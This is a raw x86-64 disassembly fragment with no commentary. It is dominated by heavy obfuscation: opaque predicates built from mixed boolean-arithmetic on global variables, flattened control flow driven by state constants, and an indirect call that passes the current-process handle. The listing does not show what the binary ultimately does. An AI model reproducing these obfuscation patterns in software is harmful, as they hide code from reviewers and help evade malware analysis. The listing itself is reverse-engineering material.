jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x7cdc1060
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
not ebx
mov edi, ebx
and edi, 0x2b88299a
and ecx, 0xd477d664
or ecx, edi
xor ecx, 0xd477d664
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
not edx
mov ecx, edx
and ecx, ebx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov r9d, ecx
xor r9b, 1
xor bl, r8b
mov edx, ebx
xor dl, 1
mov eax, ecx
and al, r9b
xor al, 1
mov r8d, r9d
xor r8b, al
or al, r9b
xor al, 1
or al, r8b
xor al, dl
xor dl, cl
or bl, r9b
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0x7a840971
mov ebx, 0x64ff5273
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x7a840971
jmp 0x1401a0e8b
mov eax, 0xd8e42054
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x46c242bf
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x49e367fc
and ebx, 0xb61c9803
or ebx, edx
mov edi, ebx
xor edi, 0x2048800
xor ebx, 0x424100
or ecx, 0x1e57cda5
mov esi, ecx
not esi
or ebx, 0x41283018
and ebx, 0x557a7119
and edi, 0xa058ca4
or edi, ebx
and ecx, 0x557a7119
and esi, 0xa0800242
or esi, ecx
xor esi, edi
mov ecx, esi
not ecx
and ecx, 0xe1a8325a
and esi, 0x1e57cda5
or esi, ecx
mov ecx, esi
not ecx
mov edx, esi
xor edx, 0x12e650d5
and edx, ecx
mov eax, ecx
or eax, 0x12e650d5
mov edi, eax
not edi
mov ebx, edx
not ebx
mov r9d, ebx
and r9d, 0x2273c17f
and edx, 0xdd8c3e80
or edx, r9d
or ebx, eax
and eax, 0x2273c17f
and edi, 0xcd082e00
or edi, eax
xor edi, edx
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0x7573755d
and ebx, 0x8a8c8aa2
or ebx, eax
xor ebx, 0x986ada76
and esi, 0x5e4850ff
mov eax, ecx
and eax, 0xa1b7af00
or eax, esi
xor eax, 0x5e4850fe
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xf0a6d17b
and ecx, 0xf592e84
or ecx, eax
mov eax, ecx
not eax
and eax, 0xf592e84
and ecx, 0xf0a6d17b
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xdf2c508
and eax, 0xf20d3af7
or eax, ecx
mov ecx, eax
xor ecx, 0x802c008
xor eax, 0x300c2a54
and eax, 0x35fc2f54
and ecx, 0xca03d0ab
or ecx, eax
xor ecx, 0xca03d0ab
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
and al, cl
and r9b, bl
xor bl, cl
or bl, al
and dl, cl
or dl, r9b
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
xor cl, 1
test al, al
mov eax, 0x33ffc8a3
mov ebx, 0xbef8aadc
cmovne eax, ebx
test dl, dl
cmovne eax, ebx
test cl, cl
mov ecx, 0x33ffc8a3
jmp 0x1401a14db
mov eax, 0xd622a357
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea eax, [rcx - 1]
imul eax, ecx
mov edi, eax
not edi
mov edx, eax
or edx, 0xf0aa5c78
mov esi, edx
not esi
mov ecx, edi
or ecx, 0xf55a387
mov ebx, ecx
not ebx
and edx, 0x11d975fc
and esi, 0xe048203
or esi, edx
and ecx, 0x11d975fc
and ebx, 0xe0220800
or ebx, ecx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xf0aa5c79
and ebx, 0xf55a386
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xa1bc9454
and ebx, 0x5e436bab
or ebx, ecx
mov ecx, ebx
xor ecx, 0xa430b09
xor ebx, 0xa1bc9454
mov edx, ebx
and edx, 0xd5b0f0a6
and ecx, 0x2a4f0f59
or ecx, edx
or ebx, eax
and eax, 0xd5b0f0a6
and edi, 0x2a4f0f59
or edi, eax
xor edi, ecx
not ebx
or ebx, edi
cmp ebx, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
and al, cl
and r9b, bl
xor bl, cl
or bl, al
xor bl, 1
and dl, cl
or dl, r9b
xor dl, bl
mov eax, edx
xor al, 1
and bl, al
xor al, bl
test dl, dl
mov ecx, 0xfeea790b
mov edi, 0x2b42a1e
cmovne ecx, edi
test bl, bl
mov edx, 0xfeea790b
cmove ecx, edx
test al, 1
cmove ecx, edi
jmp 0x1401a26c0
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0x27727bc3
and edx, 0xd88d843c
or edx, ebx
mov ebx, edx
xor ebx, 0x2405983
xor edx, 0xd88d843c
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfd37267c
and ebx, 0x2c8d983
or ebx, edx
mov edx, ebx
xor edx, 0x885000
xor ebx, 0xfd37267d
mov esi, ecx
and esi, 0x3660afa7
and edi, 0xc99f5058
or edi, esi
or ecx, ebx
and ebx, 0x3660afa7
and edx, 0xc99f5058
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x47980487
and ecx, 0xb867fb78
or ecx, edx
mov edx, ecx
xor edx, 0x2000c078
xor ecx, 0x42880083
and ecx, 0xdaef3b83
and edx, 0x2510c47c
or edx, ecx
mov ecx, edx
xor ecx, 0x400444c
xor edx, 0x888e1b00
and edx, 0xa99e9b30
and ecx, 0x566164cf
or ecx, edx
xor ecx, 0x566164cf
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0xa4597076
mov ebx, 0x4623c9ed
cmovne edx, ebx
test al, al
mov eax, 0xa4597076
jmp 0x1401a05cf
mov eax, 0xf2d81345
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x1ea51bde
mov edx, edi
xor edx, 0x1ea51bde
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0xe15ae420
and edx, 0x1ea51bdf
or edx, ebx
and ecx, 0x22b05cd4
and edi, 0xdd4fa32b
or edi, ecx
mov ecx, edi
xor ecx, 0x144ca209
mov esi, edx
not esi
mov ebx, esi
and ebx, 0xeb231962
and edx, 0x14dce69d
or edx, ebx
xor edi, 0x22201840
and edi, 0xeb231962
and ecx, 0x14dce69d
or ecx, edi
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
and bl, al
and cl, r8b
or cl, bl
and dl, al
xor al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
and cl, al
xor al, 1
xor bl, 1
and bl, al
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xee2d7872
mov ebx, 0x281f11ee
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0xee2d7872
jmp 0x1401a0e8b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xdbb5e150
mov edx, esi
and edx, 0x244a1eae
or edx, ebx
xor edx, 0x244a1eae
mov edi, esi
xor edi, 0xfffffffe
and edi, esi
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x6fe31c17
and edi, 0x901ce3e8
or edi, ebx
and esi, 0x6fe31c17
and ecx, 0x901ce3e8
or ecx, esi
xor ecx, edi
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
and dl, bl
mov eax, r8d
and al, cl
or al, dl
mov edx, eax
xor dl, bl
and dl, al
xor bl, cl
not bl
and bl, cl
xor cl, r8b
and cl, r8b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, r8d
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
and cl, dl
xor dl, 1
xor al, 1
and al, dl
or al, cl
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6ef1a292
mov ebx, 0x8cff3922
cmovne ecx, ebx
test dl, 1
mov edx, 0x6ef1a292
jmp 0x14019d264
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x2577a370
and ecx, 0xda885c8f
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc2001084
and edi, 0x38930f0e
and edx, 0xc76cf0f1
or edx, edi
mov edi, edx
xor edi, 0xc70430b0
xor ecx, 0x2577a370
xor edx, 0x38930f0e
mov esi, ecx
and esi, 0x38e9cf4b
and ebx, 0xc71630b4
or ebx, esi
or ecx, edx
and edx, 0x38e9cf4b
and edi, 0xc71630b4
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r9d, eax
xor r9b, 1
mov edx, ecx
or dl, r8b
xor cl, r8b
not cl
and cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
not dl
and dl, r9b
and al, cl
or al, dl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xdda85b15
mov ebx, 0x4623c9ed
cmovne ecx, ebx
test al, al
cmove ecx, ebx
test dl, 1
mov eax, 0xdda85b15
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4df3bc87
and edx, 0xb20c4378
or edx, ecx
mov ebx, edx
xor ebx, 0x2044328
xor edx, 0x4df3bc87
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xb91ba050
and ebx, 0x46e45faf
or ebx, edx
mov edx, ebx
xor edx, 0x424138c
xor ebx, 0xb91ba051
mov esi, ecx
and esi, 0x4acaec73
and edi, 0xb535138c
or edi, esi
or ecx, ebx
and ebx, 0x4acaec73
and edx, 0xb535138c
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x2f084c50
and edx, 0xd0f7b3af
or edx, ecx
mov ecx, edx
xor ecx, 0x9091908f
xor edx, 0x4080440
and edx, 0x446e2760
and ecx, 0xbb91d89f
or ecx, edx
xor ecx, 0xbb91d89f
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, r9d
xor dl, al
mov ebx, edx
and bl, al
or al, r9b
xor al, 1
or al, dl
and dl, r9b
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
xor cl, r8b
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
and bl, cl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x3a1296cf
mov edx, 0x8c41c56a
cmovne eax, edx
test cl, 1
mov ecx, 0x3a1296cf
jmp 0x1401a1a38
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov eax, edi
and eax, 0x395d9b30
mov edx, ebx
and edx, 0xc6a264ce
or edx, eax
xor edx, 0xc6a264ce
mov eax, ebx
xor eax, 0xfffffffe
and eax, ebx
mov esi, edx
and esi, eax
xor eax, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0x5e2bd76d
and edx, 0xa1d42892
or edx, esi
or eax, ebx
and ebx, 0x5e2bd76d
and edi, 0xa1d42892
or edi, ebx
xor edi, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl r9b
mov ebx, r9d
xor bl, dl
mov r10d, ebx
xor r10b, r8b
and r10b, bl
and dl, r9b
and al, r8b
or al, dl
mov ebx, r10d
xor bl, 1
mov edx, eax
xor dl, 1
and al, dl
mov r8d, ebx
mov r9d, edx
and r9b, al
xor al, dl
mov r11d, ebx
and r11b, dl
xor dl, bl
and bl, r10b
xor r8b, bl
xor bl, 1
or bl, r10b
xor bl, 1
or bl, r8b
or al, r9b
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
or al, cl
or dl, r11b
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x5297d65
mov ebx, 0x4391b8f6
cmovne ecx, ebx
test dl, dl
mov edx, 0x5297d65
jmp 0x140191413
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x52f15dcd
and ecx, edx
or edx, 0xad0ea232
mov ebx, edx
not ebx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x349df9f4
and ebx, 0x42600409
or ebx, esi
or edx, edi
and edi, 0x349df9f4
and ecx, 0xcb62060b
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x19da0b38
and edx, 0xe625f4c7
or edx, ecx
mov edi, edx
xor edi, 0xb4d4a90a
mov ecx, edx
xor ecx, 0x480002e0
and ecx, 0x48c4abe0
xor edx, 0x5690a52c
and edx, edi
and edi, 0xb73b541f
or edi, ecx
mov ecx, edi
xor ecx, 0xb73b541f
mov ebx, edi
xor ebx, 0xaa80a7c6
and ebx, ecx
mov esi, ebx
not esi
mov eax, edx
not eax
mov r9d, esi
and r9d, 0x1e0102c3
and ebx, 0xe1fefd3c
or ebx, r9d
or esi, eax
and eax, 0x1e0102c3
and edx, 0xe1fefd3c
or edx, eax
xor edx, ebx
not esi
or esi, edx
mov eax, esi
not eax
and eax, 0x1dbbf3d8
and esi, 0xe2440c27
or esi, eax
xor edi, 0x48802ba0
and edi, 0xfb9b2baa
mov eax, ecx
and eax, 0x464d455
or eax, edi
xor eax, 0xfb9b2bab
and ecx, 1
or ecx, eax
not ecx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xca9690a3
and eax, 0x35696f5c
or eax, edi
or ecx, ebx
and ebx, 0xca9690a3
and edx, 0x35696f5c
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
setne r9b
sete bl
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov edx, eax
xor dl, bl
and bl, al
and r10b, r9b
or r10b, bl
and dl, al
xor al, r9b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov ecx, r10d
xor cl, 1
mov edx, ecx
and dl, r10b
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, bl
xor dl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x2b400c8
mov ebx, 0x93fd2ab5
cmovne eax, ebx
test cl, 1
mov ecx, 0x2b400c8
jmp 0x1401a26b7
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x63c68a43
and edx, ebx
not ebx
and ebx, 0x2068001
and ecx, 0x61c00a42
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20000a40
xor ecx, 0x9e3ff5bd
mov edi, edx
not edi
mov esi, ecx
and esi, 0x43f0d082
and ebx, 0x20060a41
or ebx, esi
or ecx, edi
and edi, 0x43f0d082
and edx, 0xbc0f2f7d
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb8cb1b58
and ecx, 0x4734e4a7
or ecx, edx
mov edx, ecx
xor edx, 0x24f26ee4
mov ebx, ecx
xor ebx, 0x82008103
and ebx, 0xa600c1a3
xor ecx, 0x32ea17b6
and ecx, edx
mov esi, edx
and esi, 0x59ff3e5c
or esi, ebx
mov edx, esi
xor edx, 0x59ff3e5c
mov edi, esi
xor edi, 0xb018b8f1
and edi, edx
mov ebx, edi
and ebx, ecx
xor ecx, edi
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x7ab894d2
and ecx, 0x85476b2d
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1315102e
xor esi, 0x2004181
and esi, 0x120255d9
mov edi, edx
and edi, 0xedfdaa26
or edi, esi
xor edi, 0x120255d8
and edx, 1
or edx, edi
mov edi, edx
not edi
and edi, 0xb9acf7f2
and edx, 0x4653080d
or edx, edi
mov edi, edx
xor edi, 0x4211080c
xor edx, 0xb9acf7f2
xor ecx, 0x6ca0ed81
mov esi, ecx
and esi, 0x84eac251
and ebx, 0x7b153dae
or ebx, esi
or ecx, edx
and edx, 0x84eac251
and edi, 0x7b153dae
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x3a02f69a
and edx, 0xc5fd0965
or edx, ecx
mov ecx, edx
xor ecx, 0x38006202
xor edx, 0xa50005
and ecx, 0xfd586b62
and edx, 0x2a7949d
or edx, ecx
xor edx, 0xfd586b62
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r10b
and bl, al
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov edx, ecx
xor dl, 1
and cl, dl
mov r11d, edx
and r11b, cl
xor cl, dl
or cl, r11b
xor cl, bl
and r9b, r10b
or r10b, r8b
and al, r8b
or al, r9b
mov edx, r10d
xor dl, al
xor al, 1
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x27b74e9d
mov edi, 0xb9224856
cmovne eax, edi
test bl, 1
mov edx, 0x27b74e9d
jmp 0x140192774
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea eax, [rdx - 1]
imul eax, edx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x8d6b19f1
mov edi, eax
and edi, 0x7294e60e
or edi, edx
mov edx, edi
xor edx, 0x3294a400
xor edi, 0x9281950
or eax, 0x49285b5e
and edi, 0x49285b5e
and edx, 0xb6d7a4a0
or edx, edi
and eax, 0x49285b5f
xor eax, edx
mov edx, eax
not edx
and edx, 0xc104312e
and eax, 0x3efbced1
or eax, edx
xor eax, 0x3efbced1
mov edx, eax
and edx, ebx
xor eax, ebx
or eax, edx
cmp eax, 0xffffffff
sete r8b
setne r10b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r9b
mov ecx, r9d
xor cl, al
and cl, r9b
mov ebx, ecx
xor bl, 1
mov edx, ebx
or dl, cl
xor cl, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, r10d
xor cl, dl
and r10b, cl
and cl, dl
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, r9d
xor dl, r8b
and dl, r9b
xor al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc93bd6be
mov ebx, 0x306d0000
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0xc93bd6be
jmp 0x14019970b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x75a2e9af
and ecx, 0x8a5d1650
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8a5d1650
and ecx, 0x75a2e9af
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0x428f974e
and ecx, 0xbd7068b1
or ecx, edx
xor ecx, 0xbd7068b0
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3614e29d
and ecx, 0xc9eb1d62
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc9eb1d62
and ecx, 0x3614e29d
or ecx, edx
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, edx
or bl, cl
and cl, al
xor al, r8b
xor bl, 1
or bl, al
and dl, r8b
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov r8d, eax
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
xor cl, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x77009f03
mov ebx, 0x658e89f1
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x77009f03
jmp 0x1401a14db
mov eax, 0xdca6071
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x41604008
mov edx, ebx
and edx, 0x160a2512
or edx, ecx
xor edx, 0x160a2512
mov ecx, ebx
xor ecx, 0x576a651a
and ecx, ebx
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
and edx, 0xa8959ae4
and ecx, 0x576a651b
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x4a2ed5dc
and edx, 0xb5d12a23
or edx, esi
or ecx, ebx
and ebx, 0x4a2ed5dc
and edi, 0xb5d12a23
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x7d83195c
and ecx, 0x827ce6a3
or ecx, edx
xor ecx, 0x827ce6a3
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
xor bl, 1
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bl
mov eax, ecx
not al
and al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x75e5c739
mov ebx, 0xbcc6c9ca
jmp 0x140194fc8
mov eax, 0xb902f6a1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xc57337e6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xd0cf262e
and ecx, 0x2f30d9d1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x85655458
and ecx, 0x7a9aaba7
or ecx, edx
mov edx, ecx
xor edx, 0xaa558d89
mov ebx, ecx
xor ebx, 0x55282072
and ebx, 0x7d282172
xor ecx, 0xe2df32fa
and ecx, edx
and edx, 0x82d7de8d
or edx, ebx
mov r9d, edx
xor r9d, 0x82d7de8d
mov esi, edx
xor esi, 0x35a29e01
and esi, r9d
mov ebx, esi
not ebx
mov eax, ecx
not eax
mov edi, ebx
and edi, 0x503966b5
and esi, 0xafc6994a
or esi, edi
or ebx, eax
and eax, 0x503966b5
and ecx, 0xafc6994a
or ecx, eax
xor ecx, esi
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xb775408d
and ebx, 0x488abf72
or ebx, eax
and r9d, 1
xor edx, 0x82d7de8c
or edx, r9d
mov eax, edx
not eax
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x1d6d70b0
and ebx, 0xe2928f4f
or ebx, edi
or ecx, edx
and edx, 0x1d6d70b0
and eax, 0xe2928f4f
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xba8aee9d
and ecx, 0x45751162
or ecx, eax
mov eax, ecx
xor eax, 0x44240002
xor ecx, 0xa80e684
and ecx, 0xbd1f7e4
and eax, 0xf42e081b
or eax, ecx
mov ecx, eax
xor ecx, 0x3810540
xor eax, 0xf42e081b
mov edx, eax
and edx, 0x9874faac
and ecx, 0x678b0553
or ecx, edx
xor ecx, 0x678b0553
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, 1
mov ebx, eax
or bl, cl
xor bl, 1
xor al, cl
not al
and al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, dl
mov ecx, eax
not cl
and cl, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xe3ddf3b3
mov ebx, 0x4ebd063
cmovne eax, ebx
test cl, cl
mov ecx, 0xe3ddf3b3
jmp 0x14019e249
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
mov eax, 0xcab010d9
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x18b0008
and edx, 0xea00e081
or edx, ecx
mov edi, edx
xor edi, 0x4a00e000
xor edx, 0x155087a
or ebx, 0xeb8be089
mov ecx, ebx
not ecx
and edx, 0xa15508fb
and edi, 0x4a8ae000
or edi, edx
and ebx, 0xa15508fb
and ecx, 0x14201704
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xe8e38bb5
and ecx, 0x171c744a
or ecx, edx
mov ebx, ecx
xor ebx, 0xfc9794c3
mov edi, ecx
xor edi, 0x3686b3c
mov esi, ecx
xor esi, 0xb2f5240a
mov edx, esi
and edx, edi
and esi, ebx
mov ebx, edx
and ebx, esi
xor esi, edx
or esi, ebx
mov ebx, esi
not ebx
and ebx, 0x9bae7117
and esi, 0x64518ee8
or esi, ebx
mov ebx, esi
xor ebx, 0x2a210a20
and edi, 1
xor ecx, 0x3686b3d
or ecx, edi
mov edi, ecx
not edi
and edi, 0x934bcfe4
and ecx, 0x6cb4301b
or ecx, edi
mov edi, ecx
xor edi, 0x2c20000b
xor ecx, 0x934bcfe4
xor esi, 0xd5ccc1df
mov edx, esi
and edx, 0x50deb410
and ebx, 0xaf214bef
or ebx, edx
or esi, ecx
and ecx, 0x50deb410
and edi, 0xaf214bef
or edi, ecx
xor edi, ebx
not esi
or esi, edi
mov ecx, esi
mov edx, esi
xor edx, 0x2f0d7e22
and edx, esi
not esi
and esi, 0xb0d1e22
and ecx, 0x24006000
or ecx, esi
xor ecx, 0x24006000
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xd0f281dd
and edx, 0x2f0d7e22
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xda3fb460
and ecx, 0x25c04b9f
or ecx, edx
mov edx, ecx
xor edx, 0x1815a000
xor ecx, 0x24400287
